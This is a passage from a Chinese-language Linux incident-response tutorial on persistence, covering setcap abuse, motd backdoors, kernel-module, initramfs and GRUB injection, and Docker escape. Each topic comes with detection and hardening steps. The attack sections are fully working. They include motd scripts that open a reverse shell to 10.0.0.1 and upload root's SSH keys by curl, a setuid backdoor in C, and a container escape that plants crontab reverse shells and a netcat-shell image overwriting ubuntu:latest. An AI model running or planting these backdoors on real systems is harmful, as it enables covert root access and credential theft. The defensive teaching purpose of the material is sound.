# 4. 检查 PROMPT_COMMAND 环境变量
echo "$PROMPT_COMMAND"
grep -rn "PROMPT_COMMAND" /etc/profile.d/ /etc/bash.bashrc \
/root/.bashrc /home/*/.bashrc 2>/dev/null

# 5. 查找隐藏的日志文件(trap 可能写入的位置)
find /tmp /var/tmp /dev/shm -name ".*" -type f -ls 2>/dev/null

5.4 清除与加固

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 清除恶意 trap(从配置文件中删除 trap 行)
# 注意:直接运行 trap '' DEBUG 只影响当前 shell
# 必须编辑 .bashrc 等文件删除持久化的 trap 代码

# 查看并清理 .bashrc
vim /home/victim/.bashrc # 删除可疑的 trap 行
vim /etc/bash.bashrc # 检查全局配置

# 取消当前 shell 的 trap
trap - DEBUG
trap - EXIT
trap - ERR

# 加固:使用 auditd 监控 trap 相关文件
auditctl -w /etc/bash.bashrc -p wa -k bash_config
auditctl -w /etc/profile.d/ -p wa -k bash_config

六、Linux Capabilities 持久化 (setcap)

6.1 原理详解

Linux Capabilities 体系

传统 Unix 权限模型:要么是 root(UID 0,全部权限),要么是普通用户(有限权限)

Linux Capabilities 将 root 的权限细分为 40+ 种独立的「能力」

每个进程/文件可以只获得需要的特定能力,而非全部 root 权限

设计初衷是最小权限原则,但被攻击者反过来利用

Capabilities 与 SUID 的对比

特性 SUID Capabilities
权限粒度 全有或全无(完整 root) 细粒度(单个能力)
find -perm -4000 能发现 不能
ls -la 显示 rwsr-xr-x(s 标记) 看起来完全正常
设置命令 chmod u+s setcap
查询命令 find -perm -4000 getcap
隐蔽性 中等 极高

这就是 Capabilities 持久化比 SUID 更危险的原因:常规排查完全看不出来

常被利用的 Capabilities

Capability 含义 利用方式
CAP_SETUID 切换进程 UID 直接提权到 root
CAP_SETGID 切换进程 GID 加入 root 组
CAP_DAC_READ_SEARCH 绕过文件读权限检查 读取 /etc/shadow、SSH 私钥
CAP_DAC_OVERRIDE 绕过文件读写执行权限 修改任意文件
CAP_SYS_ADMIN 广泛的管理能力 挂载文件系统、namespace 操作
CAP_NET_RAW 原始套接字 嗅探网络流量
CAP_NET_BIND_SERVICE 绑定 <1024 端口 建立监听服务
CAP_SYS_PTRACE ptrace 任意进程 注入代码到其他进程
CAP_CHOWN 修改文件所有者 夺取文件所有权

Capabilities 的三种集合

1
2
3
4
5
6
Effective (e)   — 当前生效的能力集(内核实际检查的)
Permitted (p) — 进程被允许拥有的最大能力集
Inheritable (i) — 可通过 execve() 传递给子进程的能力集

setcap 语法:cap_xxx+ep (Effective + Permitted)
cap_xxx+eip (Effective + Inheritable + Permitted)

6.2 攻击实现

基础:赋予 python 提权能力

1
2
3
4
5
6
7
8
9
10
11
# 赋予 python3 CAP_SETUID 能力
# python3 看起来是一个正常的解释器,不会引起怀疑
cp /usr/bin/python3 /usr/local/bin/python3
setcap cap_setuid+ep /usr/local/bin/python3

# 验证
getcap /usr/local/bin/python3
# /usr/local/bin/python3 = cap_setuid+ep

# 利用:任何用户都可以提权到 root
/usr/local/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

进阶:赋予常用工具读取敏感文件的能力

1
2
3
4
5
6
7
# 让 cat 能绕过文件权限读取任何文件
cp /usr/bin/cat /usr/local/bin/cat-debug
setcap cap_dac_read_search+ep /usr/local/bin/cat-debug

# 利用:读取 shadow 文件
/usr/local/bin/cat-debug /etc/shadow
/usr/local/bin/cat-debug /root/.ssh/id_rsa

高级:编译自定义后门程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// cap_backdoor.c -- 利用 CAP_SETUID 的后门
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>

int main(int argc, char *argv[]) {
// 切换到 root
if (setuid(0) != 0) {
perror("setuid failed - no CAP_SETUID?");
return 1;
}
// 以 root 身份执行 shell
char *args[] = {"/bin/bash", "-p", NULL};
execvp(args[0], args);
return 0;
}
1
2
3
4
5
6
7
8
# 编译并设置 capability
gcc -o /usr/local/bin/syscheck cap_backdoor.c
setcap cap_setuid+ep /usr/local/bin/syscheck

# 看起来像一个正常的系统检查工具
ls -la /usr/local/bin/syscheck
# -rwxr-xr-x 1 root root 16384 ... /usr/local/bin/syscheck
# 注意:没有 SUID 标记!看起来完全正常

利用 CAP_SYS_ADMIN 逃逸

1
2
3
4
5
6
# CAP_SYS_ADMIN 几乎等同于 root
# 可以挂载文件系统、使用 BPF、修改 namespace 等
setcap cap_sys_admin+ep /usr/local/bin/debug-tool

# 利用示例:通过挂载绕过 chroot
# debug-tool 内部可以调用 mount() 挂载宿主机文件系统

6.3 检测方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# 1. 扫描整个文件系统中设置了 Capabilities 的文件(最重要!)
getcap -r / 2>/dev/null

# 2. 关注高危 Capabilities
getcap -r / 2>/dev/null | grep -E "(cap_setuid|cap_setgid|cap_dac|cap_sys_admin|cap_sys_ptrace|cap_net_raw)"

# 3. 已知系统正常的 Capabilities(白名单对比)
# 正常的例子:
# /usr/bin/ping = cap_net_raw+ep (正常)
# /usr/bin/mtr-packet = cap_net_raw+ep (正常)
# /usr/sbin/fping = cap_net_raw+ep (正常)
#
# 异常的例子:
# /usr/bin/python3.8 = cap_setuid+ep (极度可疑!)
# /usr/local/bin/cat-debug = cap_dac_read_search+ep (可疑!)

# 4. 对比系统基线
# 建立基线
getcap -r / 2>/dev/null | sort > /root/cap_baseline.txt
# 定期对比
getcap -r / 2>/dev/null | sort | diff /root/cap_baseline.txt -

# 5. 查看特定文件的详细 Capabilities
getfattr -d -m "^security\\.capability" /usr/local/bin/syscheck 2>/dev/null

# 6. 使用 filecap(libcap-ng 工具包)
filecap -a 2>/dev/null

6.4 清除与加固

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 移除文件的 Capabilities
setcap -r /usr/local/bin/python3
setcap -r /usr/local/bin/syscheck

# 验证已清除
getcap /usr/local/bin/python3
# (无输出表示已清除)

# 删除可疑文件
rm /usr/local/bin/syscheck

# 加固:建立 Capabilities 白名单
getcap -r / 2>/dev/null > /etc/security/cap_whitelist.txt

# 加固:使用 auditd 监控 setcap 操作
# 监控 setxattr 系统调用(setcap 底层使用 setxattr)
auditctl -a always,exit -F arch=b64 -S setxattr -F key=cap_change

# 加固:定期 cron 检查
echo '0 */6 * * * root getcap -r / 2>/dev/null | sort | diff /etc/security/cap_whitelist.txt - && echo OK || echo "ALERT: Capabilities changed!" | mail -s "Cap Alert" admin@example.com' >> /etc/crontab

七、motd (Message of the Day) 后门

7.1 原理详解

motd 动态消息机制

传统 motd:/etc/motd 是一个静态文本文件,登录时显示给用户

现代 motd(Ubuntu/Debian):/etc/update-motd.d/ 目录下的可执行脚本在每次用户登录时以 root 权限执行

PAM 模块 pam_motd.so 负责在登录过程中调用这些脚本

执行流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
用户 SSH 登录


PAM 认证流程


pam_motd.so 模块

├── 执行 /etc/update-motd.d/00-header
├── 执行 /etc/update-motd.d/10-help-text
├── 执行 /etc/update-motd.d/50-landscape-sysinfo
├── 执行 /etc/update-motd.d/90-updates-available
├── 执行 /etc/update-motd.d/98-reboot-required
└── 执行 /etc/update-motd.d/99-backdoor ← 恶意脚本


所有脚本的 stdout 合并 → 显示为登录欢迎消息
所有脚本以 root 权限运行!

为什么 motd 后门极其隐蔽

脚本的 stdout 显示为登录信息,用户只会看到「系统状态」文字

脚本的 stderr 和后台进程不会显示给用户

文件名可以伪装成系统信息脚本(如 50-system-stats

主要影响 Ubuntu/Debian 系统(使用 dynamic motd 机制)

CentOS/RHEL 默认不使用 update-motd.d,但可以手动启用

PAM 配置中的 motd

1
2
3
4
# 查看 PAM 中 motd 的配置
grep "pam_motd" /etc/pam.d/sshd /etc/pam.d/login
# session optional pam_motd.so motd=/run/motd.dynamic
# session optional pam_motd.so noupdate

7.2 攻击实现

基础:直接植入恶意 motd 脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 创建恶意 motd 脚本
cat > /etc/update-motd.d/99-system-health << 'EOF'
#!/bin/bash
# System Health Report
# Displays disk usage and memory stats on login

# 显示给用户的正常内容(伪装)
echo ""
echo "System Health: OK"
echo " Disk: $(df -h / | awk 'NR==2{print $5}') used"
echo " Memory: $(free -m | awk 'NR==2{printf "%dMB/%dMB", $3, $2}')"
echo ""

# 恶意操作(后台静默执行,用户看不到)
(nohup bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1' &>/dev/null &) 2>/dev/null
EOF
chmod +x /etc/update-motd.d/99-system-health

进阶:窃取 SSH 登录凭据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
cat > /etc/update-motd.d/95-security-check << 'EOF'
#!/bin/bash
# Security Audit Logger

# 记录登录信息(以 root 权限运行,可以读取环境变量)
echo "$(date) | ${PAM_USER} | ${SSH_CONNECTION} | ${PAM_RHOST}" >> /tmp/.auth_log 2>/dev/null

# 如果是 root 登录,窃取 SSH key
if [ "${PAM_USER}" = "root" ]; then
tar czf /tmp/.ssh-backup.tar.gz /root/.ssh/ 2>/dev/null
curl -s -X POST -F "file=@/tmp/.ssh-backup.tar.gz" http://10.0.0.1:8080/keys &>/dev/null &
rm -f /tmp/.ssh-backup.tar.gz 2>/dev/null
fi

exit 0
EOF
chmod +x /etc/update-motd.d/95-security-check

修改已有 motd 脚本(更隐蔽)

1
2
3
4
5
6
# 在已有的合法脚本末尾追加恶意代码
# 比创建新文件更不容易被发现
echo '
# system metrics collection
(curl -s http://10.0.0.1/beacon?h=$(hostname) &>/dev/null &)
' >> /etc/update-motd.d/50-landscape-sysinfo

7.3 检测方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# 1. 列出所有 motd 脚本及其权限
ls -la /etc/update-motd.d/

# 2. 检查可执行的 motd 脚本
find /etc/update-motd.d/ -executable -type f -ls

# 3. 审查每个脚本的内容(逐个检查!)
for f in /etc/update-motd.d/*; do
echo "=== $f ==="
cat "$f"
echo ""
done

# 4. 搜索可疑关键字
grep -rn "curl\|wget\|nc \|ncat\|bash -i\|/dev/tcp\|python\|perl\|base64\|nohup" \
/etc/update-motd.d/

# 5. 检查文件修改时间(与系统安装时间对比)
stat /etc/update-motd.d/*

# 6. 验证文件的包归属
for f in /etc/update-motd.d/*; do
dpkg -S "$f" 2>/dev/null || echo "ORPHAN (不属于任何包): $f"
done

# 7. 检查 PAM 配置中的 motd 设置
grep -n "pam_motd" /etc/pam.d/sshd /etc/pam.d/login

# 8. 也检查静态 motd 文件
cat /etc/motd
ls -la /run/motd.dynamic

7.4 清除与加固

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 删除恶意 motd 脚本
rm /etc/update-motd.d/99-system-health
rm /etc/update-motd.d/95-security-check

# 如果合法脚本被修改,恢复包的原始版本
apt install --reinstall base-files landscape-common

# 加固:如果不需要 dynamic motd,在 PAM 中禁用
# 编辑 /etc/pam.d/sshd,注释掉 pam_motd 行
# session optional pam_motd.so motd=/run/motd.dynamic

# 加固:使用 auditd 监控
auditctl -w /etc/update-motd.d/ -p wa -k motd_change

# 加固:移除不必要的 motd 脚本的执行权限
chmod -x /etc/update-motd.d/50-landscape-sysinfo # 如果不需要

八、内核模块 (LKM) 深入持久化

本节是对 21-Rootkit检测 中 LKM 部分的深入补充,聚焦于更隐蔽的内核模块持久化手法

8.1 原理补充:内核模块加载的多种路径

内核模块加载的完整链路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌───────────────────────────────────────────────────┐
│ 1. 手动加载:insmod / modprobe │
│ insmod /path/to/evil.ko
│ modprobe evil_module │
└───────────────────────────────────────────────────┘

┌───────────────────────────────────────────────────┐
│ 2. 开机自动加载: │
/etc/modules (Debian)
/etc/modules-load.d/*.conf (systemd)
/etc/sysconfig/modules/ (RHEL)
└───────────────────────────────────────────────────┘

┌───────────────────────────────────────────────────┐
│ 3. modprobe.d install 指令劫持: │
/etc/modprobe.d/*.conf
│ install <module> /path/to/evil.sh
└───────────────────────────────────────────────────┘

┌───────────────────────────────────────────────────┐
│ 4. initramfs 嵌入: │
│ 模块被打包进 initramfs,系统启动最早期加载 │
└───────────────────────────────────────────────────┘

模块文件位置

正常模块:/lib/modules/$(uname -r)/kernel/

扩展模块:/lib/modules/$(uname -r)/extra//lib/modules/$(uname -r)/updates/

模块依赖数据库:/lib/modules/$(uname -r)/modules.dep

8.2 攻击手法一:modules-load.d 自动加载

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 编译恶意内核模块后放入模块目录
cp evil.ko /lib/modules/$(uname -r)/extra/
depmod -a # 更新模块依赖数据库

# 方法一:systemd modules-load.d(最常用)
echo "evil" > /etc/modules-load.d/system-helpers.conf

# 方法二:/etc/modules(Debian 系)
echo "evil" >> /etc/modules

# 方法三:RHEL/CentOS
cat > /etc/sysconfig/modules/custom.modules << 'EOF'
#!/bin/bash
modprobe evil 2>/dev/null
EOF
chmod +x /etc/sysconfig/modules/custom.modules

8.3 攻击手法二:modprobe.d install 指令劫持

原理

modprobe.d 配置文件中的 install 指令可以替换模块加载动作

当系统尝试加载指定模块时,实际执行的是 install 后面的命令

这可以劫持任何模块的加载过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 劫持一个经常被自动加载的模块(如 USB 驱动)
cat > /etc/modprobe.d/usb-driver.conf << 'EOF'
# USB storage driver optimization
install usb_storage /sbin/modprobe --ignore-install usb_storage; /tmp/.helper &
EOF

# 当系统加载 usb_storage 时(如 USB 设备插入)
# 1. 先正常加载 usb_storage 模块
# 2. 然后执行 /tmp/.helper

# 更隐蔽的方式:劫持网络相关模块
cat > /etc/modprobe.d/network-tuning.conf << 'EOF'
# Network performance tuning
install nf_conntrack /sbin/modprobe --ignore-install nf_conntrack; \
/usr/local/sbin/net-monitor-daemon 2>/dev/null &
EOF

8.4 攻击手法三:initramfs 嵌入(最高级)

原理

initramfs(initial RAM filesystem)是内核启动时加载的临时文件系统

包含启动所需的最小驱动和工具

如果恶意模块被嵌入 initramfs,它会在系统启动的最早阶段加载

甚至在 rootfs 挂载之前就已经在内核中运行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# 查看当前 initramfs 内容
lsinitramfs /boot/initrd.img-$(uname -r) | head -50
# 或
lsinitrd /boot/initramfs-$(uname -r).img 2>/dev/null | head -50

# 攻击者修改 initramfs 的方式
# 1. 解包 initramfs
mkdir /tmp/initramfs-work && cd /tmp/initramfs-work
unmkinitramfs /boot/initrd.img-$(uname -r) .

# 2. 加入恶意模块
cp /path/to/evil.ko ./lib/modules/$(uname -r)/
echo "evil" >> ./conf/modules

# 3. 重新打包
find . | cpio -o -H newc | gzip > /boot/initrd.img-$(uname -r)

# 4. 或者通过合法工具注入(更不容易被发现)
# Debian: /etc/initramfs-tools/modules
echo "evil" >> /etc/initramfs-tools/modules
update-initramfs -u # 重建 initramfs

# RHEL: /etc/dracut.conf.d/
echo 'add_drivers+=" evil "' > /etc/dracut.conf.d/custom.conf
dracut --force # 重建 initramfs

8.5 攻击手法四:syscall table Hook

原理

内核模块可以修改系统调用表(sys_call_table),将合法的系统调用替换为恶意函数

例如 Hook sys_readsys_getdents(ls 底层调用)来隐藏文件

Hook sys_kill 来防止进程被杀死

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// 简化的 syscall table Hook 示例(仅说明原理)
#include <linux/module.h>
#include <linux/kallsyms.h>

// 找到 sys_call_table 的地址
static unsigned long *sys_call_table;

// 保存原始的 getdents 系统调用
typedef asmlinkage long (*orig_getdents_t)(unsigned int fd,
struct linux_dirent __user *dirp, unsigned int count);
static orig_getdents_t orig_getdents;

// 恶意替换函数:过滤掉指定文件名
asmlinkage long hooked_getdents(unsigned int fd,
struct linux_dirent __user *dirp, unsigned int count) {
long ret = orig_getdents(fd, dirp, count);
// 在返回的目录列表中删除包含 "evil" 的条目
// 这样 ls 命令就看不到恶意文件
return ret; // 简化
}

static int __init hook_init(void) {
// 禁用写保护,修改 sys_call_table
sys_call_table = (unsigned long *)kallsyms_lookup_name("sys_call_table");
orig_getdents = (orig_getdents_t)sys_call_table[__NR_getdents];
// 替换为 Hook 函数
sys_call_table[__NR_getdents] = (unsigned long)hooked_getdents;
return 0;
}

8.6 深度检测方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# 1. 基础检测:列出已加载模块
lsmod
cat /proc/modules

# 2. 对比 lsmod 与 /proc/modules(发现隐藏模块)
# 高级 rootkit 会从 lsmod 中隐藏自己,但可能在 /proc/modules 或 /sys 中留下痕迹
diff <(lsmod | awk '{print $1}' | sort) \
<(cat /proc/modules | awk '{print $1}' | sort)

# 3. 检查 /sys/module/ 目录(另一个模块信息来源)
ls /sys/module/ | sort > /tmp/sys_modules.txt
lsmod | awk 'NR>1{print $1}' | sort > /tmp/lsmod_modules.txt
# 差集可能包含隐藏模块
comm -23 /tmp/sys_modules.txt /tmp/lsmod_modules.txt

# 4. 检查模块自动加载配置
cat /etc/modules 2>/dev/null
cat /etc/modules-load.d/*.conf 2>/dev/null

# 5. 检查 modprobe.d 中的 install 指令(关键!)
grep -rn "^install" /etc/modprobe.d/ /lib/modprobe.d/
# 正常的 install 指令通常是 "install xxx /bin/true"(禁用模块)
# 异常的 install 指令会包含其他命令路径

# 6. 验证模块文件签名
for mod in $(lsmod | awk 'NR>1{print $1}'); do
modinfo "$mod" 2>/dev/null | grep -E "^(filename|sig|signer)"
done

# 7. 检查 initramfs 中的模块配置
cat /etc/initramfs-tools/modules 2>/dev/null
cat /etc/dracut.conf.d/*.conf 2>/dev/null

# 8. 内核日志中的模块加载记录
dmesg | grep -iE "module|insmod|modprobe|loading"
journalctl -k | grep -iE "module|loading"

# 9. 使用 rkhunter 检查
rkhunter --check --sk --rwo

# 10. 检查系统调用表完整性(需要内核调试工具)
# 如果有 SystemTap 或 BPF
cat /proc/kallsyms | grep sys_call_table

8.7 清除与加固

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# 卸载恶意模块
rmmod evil_module 2>/dev/null

# 删除模块文件
find /lib/modules/$(uname -r)/ -name "evil.ko" -delete

# 更新模块依赖数据库
depmod -a

# 清理自动加载配置
grep -rn "evil" /etc/modules /etc/modules-load.d/ /etc/modprobe.d/ | head
# 删除对应条目

# 重建 initramfs(清除可能被注入的模块)
# Debian/Ubuntu:
update-initramfs -u
# RHEL/CentOS:
dracut --force

# 加固:启用模块签名验证
# /etc/default/grub 中添加:
# GRUB_CMDLINE_LINUX="module.sig_enforce=1"
# update-grub
# 注意:这会阻止加载所有未签名模块,可能影响第三方驱动

# 加固:监控模块加载
auditctl -a always,exit -F arch=b64 -S init_module -S finit_module -k module_load

九、initramfs / GRUB 持久化

9.1 原理详解

Linux 启动全过程与攻击面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌────────────────────────────────────────────────────────────────┐
│ 阶段 1: BIOS/UEFI │
│ → 固件级 Rootkit (极少见,国家级攻击) │
├────────────────────────────────────────────────────────────────┤
│ 阶段 2: GRUB Bootloader │
│ → /boot/grub/grub.cfg 注入恶意启动参数 │
│ → 替换 GRUB 二进制文件 │
├────────────────────────────────────────────────────────────────┤
│ 阶段 3: Linux Kernel + initramfs │
│ → initramfs 中嵌入恶意脚本/模块 │
│ → 内核命令行参数注入 (init=/evil.sh) │
├────────────────────────────────────────────────────────────────┤
│ 阶段 4: systemd / init │
│ → 已在 [17-Systemd-Service后门](/2026/04/04/Linux应急响应-17-Systemd-Service后门/) 中覆盖 │
├────────────────────────────────────────────────────────────────┤
│ 阶段 5: 用户空间服务与登录 │
│ → Crontab, Bashrc, PAM 等 (已覆盖) │
└────────────────────────────────────────────────────────────────┘

initramfs 详解

initramfs (initial RAM filesystem) 是一个 cpio 格式的压缩归档文件

内核启动后将其解压到内存中作为临时根文件系统

包含:必要的内核模块(磁盘驱动、文件系统驱动)、udev、mount 工具、init 脚本

initramfs 中的 /init 脚本负责挂载真正的根文件系统并切换过去(pivot_root/switch_root)

攻击者修改 initramfs 中的 /init 脚本或嵌入恶意模块 = 在 rootfs 挂载之前就拿到控制权

GRUB 配置注入

GRUB 配置分两层:

/etc/default/grub — 用户配置(update-grub 时作为输入)

/boot/grub/grub.cfg — 生成的最终配置(GRUB 直接读取)

攻击者可以修改内核命令行参数:

init=/path/to/evil — 替换 init 进程

rd.shell — 强制进入 initramfs shell

添加恶意的 initrd 行加载额外的 initramfs overlay

9.2 攻击实现

GRUB 配置注入

1
2
3
4
5
6
7
8
9
# 方法一:修改 /etc/default/grub(通过 update-grub 生效)
# 在 GRUB_CMDLINE_LINUX 中注入恶意参数
sed -i 's/GRUB_CMDLINE_LINUX=""/GRUB_CMDLINE_LINUX="init=\/tmp\/evil-init"/' \
/etc/default/grub
update-grub

# 方法二:直接修改 grub.cfg(不推荐但更直接)
# 在 linux 行末尾追加参数
# linux /vmlinuz-5.x root=UUID=xxx ... init=/tmp/evil-init

initramfs 注入恶意脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# Debian/Ubuntu 方法:通过 initramfs-tools hooks

# 创建 initramfs hook 脚本(在重建 initramfs 时会被打包进去)
cat > /etc/initramfs-tools/hooks/system-check << 'EOF'
#!/bin/sh
PREREQ=""
prereqs()
{
echo "$PREREQ"
}
case $1 in
prereqs) prereqs; exit 0;;
esac

. /usr/share/initramfs-tools/hook-functions

# 将恶意脚本复制进 initramfs
copy_exec /usr/local/sbin/early-init /sbin/early-init
EOF
chmod +x /etc/initramfs-tools/hooks/system-check

# 创建 initramfs 启动脚本(在 initramfs 阶段执行)
cat > /etc/initramfs-tools/scripts/init-bottom/system-check << 'EOF'
#!/bin/sh
PREREQ=""
prereqs()
{
echo "$PREREQ"
}
case $1 in
prereqs) prereqs; exit 0;;
esac

# 在真正的 rootfs 挂载后、切换前执行
# ${rootmnt} 是挂载点
cp /sbin/early-init ${rootmnt}/usr/local/sbin/early-init
chroot ${rootmnt} /usr/local/sbin/early-init &
EOF
chmod +x /etc/initramfs-tools/scripts/init-bottom/system-check

# 重建 initramfs(恶意脚本被打包进去)
update-initramfs -u

RHEL/CentOS dracut 方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 创建 dracut 模块
mkdir -p /usr/lib/dracut/modules.d/99backdoor

cat > /usr/lib/dracut/modules.d/99backdoor/module-setup.sh << 'EOF'
#!/bin/bash
check() { return 0; }
install() {
inst_hook pre-pivot 99 "$moddir/backdoor.sh"
}
EOF

cat > /usr/lib/dracut/modules.d/99backdoor/backdoor.sh << 'EOF'
#!/bin/bash
# 在 pivot_root 之前执行
/sbin/evil-binary &
EOF
chmod +x /usr/lib/dracut/modules.d/99backdoor/*.sh

dracut --force

9.3 检测方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
# 1. 检查 GRUB 配置
cat /etc/default/grub
# 关注 GRUB_CMDLINE_LINUX 中是否有异常参数
# 特别是 init= 参数
grep -n "init=" /etc/default/grub /boot/grub/grub.cfg

# 2. 检查实际的内核命令行
cat /proc/cmdline
# 应该只有标准参数,没有 init=/tmp/xxx 之类的

# 3. 检查 initramfs 内容
# Debian/Ubuntu:
lsinitramfs /boot/initrd.img-$(uname -r) | grep -vE "^(lib/modules|usr/lib)" | head -50
# RHEL/CentOS:
lsinitrd /boot/initramfs-$(uname -r).img | head -50

# 4. 检查 initramfs hooks 和 scripts
ls -la /etc/initramfs-tools/hooks/
ls -la /etc/initramfs-tools/scripts/init-bottom/
ls -la /etc/initramfs-tools/scripts/init-top/
ls -la /etc/initramfs-tools/scripts/local-bottom/

# RHEL/CentOS dracut 模块
ls -la /usr/lib/dracut/modules.d/

# 5. 验证 initramfs 完整性(哈希对比)
sha256sum /boot/initrd.img-$(uname -r)
sha256sum /boot/initramfs-$(uname -r).img 2>/dev/null
# 与备份或已知安全版本对比

# 6. 解包 initramfs 检查内容
mkdir /tmp/initramfs-check && cd /tmp/initramfs-check
unmkinitramfs /boot/initrd.img-$(uname -r) . 2>/dev/null
# 检查 init 脚本
cat ./main/init
# 搜索可疑内容
grep -rn "curl\|wget\|nc\|bash -i\|/dev/tcp" .

# 7. 检查 /boot 目录的修改时间
ls -la /boot/
stat /boot/initrd.img-$(uname -r)
stat /boot/grub/grub.cfg

# 8. 检查 GRUB 二进制文件完整性
dpkg --verify grub-common grub-pc 2>/dev/null
rpm -V grub2-common 2>/dev/null

9.4 清除与加固

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# 清除 GRUB 注入
# 修复 /etc/default/grub 中的恶意参数
vim /etc/default/grub
update-grub

# 重建干净的 initramfs
# 先删除恶意 hooks
rm /etc/initramfs-tools/hooks/system-check
rm /etc/initramfs-tools/scripts/init-bottom/system-check
# 重建
update-initramfs -u
# 或 RHEL:
rm -rf /usr/lib/dracut/modules.d/99backdoor
dracut --force

# 加固:GRUB 密码保护
grub-mkpasswd-pbkdf2
# 将生成的哈希添加到 /etc/grub.d/40_custom

# 加固:UEFI Secure Boot(防止未签名内核和 initramfs)
# 确保 Secure Boot 已启用
mokutil --sb-state

# 加固:监控 /boot 目录
auditctl -w /boot/ -p wa -k boot_change
auditctl -w /etc/default/grub -p wa -k grub_change

十、Docker/Container 逃逸持久化

10.1 原理详解

容器安全边界

Docker 容器通过 Linux namespaces(PID, NET, MNT, UTS, IPC, USER)和 cgroups 实现隔离

隔离不等于安全:多种配置错误可以导致攻击者从容器逃逸到宿主机

逃逸后攻击者获得宿主机 root 权限,然后在宿主机建立持久化

常见逃逸向量

逃逸方式 原理 严重度
--privileged 模式 容器拥有所有 Linux Capabilities + 设备访问 极高
-v /:/host 挂载宿主机根目录 直接读写宿主机文件系统 极高
Docker socket 暴露 容器内可以控制 Docker daemon 极高
--cap-add=SYS_ADMIN 可以挂载文件系统
--pid=host 共享宿主机 PID namespace
--net=host 共享宿主机网络栈
内核漏洞 (CVE) 利用容器运行时或内核漏洞 视漏洞而定

逃逸后持久化的完整攻击链

1
2
3
4
5
6
7
8
9
10
11
┌──────────────┐     ┌──────────────────┐     ┌────────────────────┐
│ 攻击者控制 │────>│ 容器逃逸到宿主机 │────>│ 在宿主机建立持久化 │
│ 容器内 shell │ │ (获得 root 权限) │ │ (cron/systemd/...) │
└──────────────┘ └──────────────────┘ └────────────────────┘


┌────────────────────┐
│ 控制 Docker daemon │
│ 创建后门容器 │
│ 修改容器镜像 │
└────────────────────┘

10.2 攻击实现

逃逸方式一:privileged 模式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# 如果容器以 --privileged 运行
# 可以挂载宿主机磁盘
fdisk -l # 查看宿主机磁盘
mkdir /mnt/host
mount /dev/sda1 /mnt/host

# 现在可以读写宿主机文件系统
# 写入 crontab 后门
echo "* * * * * root bash -i >& /dev/tcp/10.0.0.1/4444 0>&1" >> /mnt/host/etc/crontab

# 写入 SSH authorized_keys
mkdir -p /mnt/host/root/.ssh
echo "ssh-rsa AAAA... attacker@evil" >> /mnt/host/root/.ssh/authorized_keys

# 写入 systemd service 后门
cat > /mnt/host/etc/systemd/system/docker-health.service << 'EOF'
[Unit]
Description=Docker Health Monitor
After=network.target

[Service]
ExecStart=/usr/local/bin/.docker-health
Restart=always
RestartSec=60

[Install]
WantedBy=multi-user.target
EOF

# 放入恶意程序
cp /tmp/backdoor /mnt/host/usr/local/bin/.docker-health

# 启用服务(通过 chroot 或 nsenter)
chroot /mnt/host /bin/bash -c "systemctl enable docker-health.service"

逃逸方式二:Docker socket 暴露

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 如果容器挂载了 /var/run/docker.sock
# 容器内可以直接控制 Docker daemon

# 创建一个 privileged 容器挂载宿主机
docker run -d --privileged --name backdoor \
-v /:/host \
-v /var/run/docker.sock:/var/run/docker.sock \
alpine sh -c "while true; do sleep 3600; done"

# 通过新容器操作宿主机
docker exec backdoor sh -c "chroot /host bash -c 'echo attacker_key >> /root/.ssh/authorized_keys'"

# 或者:修改 Docker 镜像植入后门
# 创建恶意 Dockerfile
cat > /tmp/Dockerfile << 'EOF'
FROM ubuntu:latest
RUN apt-get update && apt-get install -y netcat-openbsd
CMD ["sh", "-c", "while true; do nc -e /bin/sh 10.0.0.1 4444; sleep 60; done"]
EOF
docker build -t ubuntu:latest /tmp/ # 覆盖官方镜像标签!

逃逸方式三:挂载宿主机目录

1
2
3
4
5
6
7
8
9
10
11
12
13
# 如果容器使用 -v /:/host 或类似的宿主机目录挂载
# 直接操作宿主机文件

# 检查挂载
mount | grep "host"
cat /proc/mounts

# 如果 /host 是宿主机根目录
ls /host/etc/
cat /host/etc/shadow # 读取宿主机密码哈希

# 植入持久化
echo "* * * * * root /tmp/.b" >> /host/etc/crontab

持久化方式:恶意 Docker 镜像

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 攻击者创建带后门的镜像,替换常用基础镜像
# 方法:在 entrypoint 中注入恶意代码

# 检查宿主机上的 docker-compose.yml 或 Dockerfile
